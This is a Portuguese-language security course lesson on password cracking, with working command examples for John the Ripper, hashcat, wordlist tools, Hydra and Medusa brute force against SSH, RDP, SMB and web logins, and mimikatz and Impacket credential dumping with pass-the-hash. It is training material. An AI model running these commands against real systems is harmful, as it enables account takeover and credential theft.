Senhas e Cracking
Aula 5 de 7
Password Cracking — Conceitos
Modos de Ataque
| Modo | Descrição | Velocidade | Eficácia |
|---|---|---|---|
| Dictionary | Testa palavras de uma wordlist | Alta | Média |
| Brute-force | Testa todas combinações possíveis | Baixa | Alta |
| Rule-based | Aplica regras (leet, caps, números) à wordlist | Média | Alta |
| Mask | Testa combinações com padrão conhecido | Média | Alta |
| Combinator | Combina palavras de duas wordlists | Média | Média |
John the Ripper
# Modo dictionary
john --wordlist=rockyou.txt hashes.txt
# Modo com regras (mutações da wordlist)
john --wordlist=rockyou.txt --rules hashes.txt
# Identificar formato do hash
john --list=formats
# Modo single crack (usa informações do usuário)
john --single hashes.txt
# Mostrar senhas já quebradas
john --show hashes.txt
# Formatos específicos
john --format=nt hashes.txt # NTLM
john --format=sha512crypt hashes.txt # Linux shadow SHA-512
john --format=bcrypt hashes.txt # bcrypt
john --format=raw-md5 hashes.txt # MD5
Hashcat
# Modo dictionary
hashcat -m 1000 -a 0 hashes.txt rockyou.txt # NTLM (-m 1000)
hashcat -m 0 -a 0 hashes.txt rockyou.txt # MD5 (-m 0)
# Modo com regras
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r best64.rule
# Modo brute-force
hashcat -m 1000 -a 3 hashes.txt ?a?a?a?a?a?a # 6 chars (todos caracteres)
# Modo mask (conhecendo padrão)
# ?l = letra minúscula, ?u = maiúscula, ?d = dígito, ?s = especial, ?a = todos
hashcat -m 1000 -a 3 hashes.txt ?u?l?l?l?d?d?d?d # Ex: Senha2024
# Modo combinator
hashcat -m 1000 -a 1 hashes.txt wordlist1.txt wordlist2.txt
# Workload profile
hashcat -m 1000 -a 0 hashes.txt rockyou.txt --force -w 4 # Máxima performance
# Show cracked
hashcat -m 1000 --show hashes.txt
Códigos de Hash (Modo -m)
| Código | Hash | Uso |
|---|---|---|
| 0 | MD5 | Geral |
| 100 | SHA1 | Geral |
| 1000 | NTLM | Windows |
| 1400 | SHA256 | Linux (chkpasswd) |
| 1700 | SHA512 | Linux shadow |
| 3200 | bcrypt | Web apps |
| 5500 | NetNTLMv1 | Windows networking |
| 5600 | NetNTLMv2 | Windows networking |
| 13100 | Kerberos 5 TGS-REP | Active Directory |
| 18200 | Kerberos 5 AS-REP | AS-REP roasting |
Wordlists
# Kali wordlists location
ls /usr/share/wordlists/
# rockyou (wordlist clássica)
# /usr/share/wordlists/rockyou.txt.gz
gunzip /usr/share/wordlists/rockyou.txt.gz
wc -l /usr/share/wordlists/rockyou.txt # ~14 milhões de senhas
# SecLists (coleção completa)
# https://github.com/danielmiessler/SecLists
git clone https://github.com/danielmiessler/SecLists.git
# Gerar wordlist com crunch
crunch 8 8 abcdef123456 -o wordlist.txt # 8 chars, caracteres específicos
crunch 6 8 -t Pass@@@ -o wordlist.txt # Pass + 3 caracteres
# Gerar wordlist de site com cewl
cewl https://exemplo.com -m 6 -w wordlist.txt # Palavras com 6+ chars
cewl https://exemplo.com -d 3 -w wordlist.txt # Depth 3 links
Hydra / Medusa (Online Brute Force)
Hydra
# SSH
hydra -l admin -P rockyou.txt 192.168.1.100 ssh
hydra -L users.txt -P senhas.txt ssh://192.168.1.100
# FTP
hydra -l anonymous -P rockyou.txt ftp://192.168.1.100
hydra -L users.txt -P senhas.txt ftp://192.168.1.100
# HTTP POST form
hydra -l admin -P rockyou.txt 192.168.1.100 http-post-form "/login:username=^USER^&password=^PASS^:Login failed"
# RDP
hydra -l administrator -P rockyou.txt rdp://192.168.1.100
# SMB
hydra -l admin -P rockyou.txt smb://192.168.1.100
# MySQL
hydra -l root -P rockyou.txt mysql://192.168.1.100
Medusa
# Similar ao Hydra, multi-threaded
medusa -h 192.168.1.100 -u admin -P rockyou.txt -M ssh
medusa -H hosts.txt -U users.txt -P senhas.txt -M ftp -T 10
Windows Credentials
mimikatz
# Executar no host Windows comprometido
mimikatz.exe
# Comandos essenciais
privilege::debug # Habilitar privilégio SeDebugPrivilege
sekurlsa::logonpasswords # Extrair senhas em texto claro (se disponível)
sekurlsa::wdigest # WDIGEST (se habilitado)
lsadump::sam # Extrair hashes SAM
lsadump::lsa /patch # Extrair hashes LSA (contas domínio)
sekurlsa::tickets /export # Exportar tickets Kerberos
# Pass-the-Hash (autenticar com hash NTLM sem senha)
sekurlsa::pth /user:Administrator /domain:exemplo /ntlm:HASH
secretsdump (Impacket)
# Extrair hashes remotamente (sem executar binário no alvo)
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
impacket-secretsdump [email protected] -hashes :NTLM_HASH
samdump2
# Extrair hashes do SAM offline
samdump2 SYSTEM SAM > hashes.txt
Identificação de Hashes
# hashid — identifica tipo de hash
hashid '$1$abc123$xxxxxxxxxxxxxx'
# $1$ = MD5 crypt (Linux)
hashid '$2y$10$xxxxxxxxxxxx'
# $2y$ = bcrypt
hashid hash_exemplo.txt
# hash-identifier (alternativa)
hash-identifier
Lab: Cracking na Prática
# 1. Gerar hash de teste (Linux)
echo -n "Admin123" | md5sum | cut -d' ' -f1 > hash.txt
# 2. Identificar o hash
hashid hash.txt
# 3. Crack com hashcat
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
# 4. Teste online com Hydra (SSH local)
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://127.0.0.1
# 5. Extrair hashes Windows (offline)
# samdump2 SYSTEM SAM > hashes.txt
# john --format=nt hashes.txt --wordlist=rockyou.txt
Cracking de senhas é uma combinação de wordlists de qualidade + regras inteligentes. RockYou é o ponto de partida. Use hashcat para GPU (milhões de hashes/s). Nunca faça brute-force online sem autorização.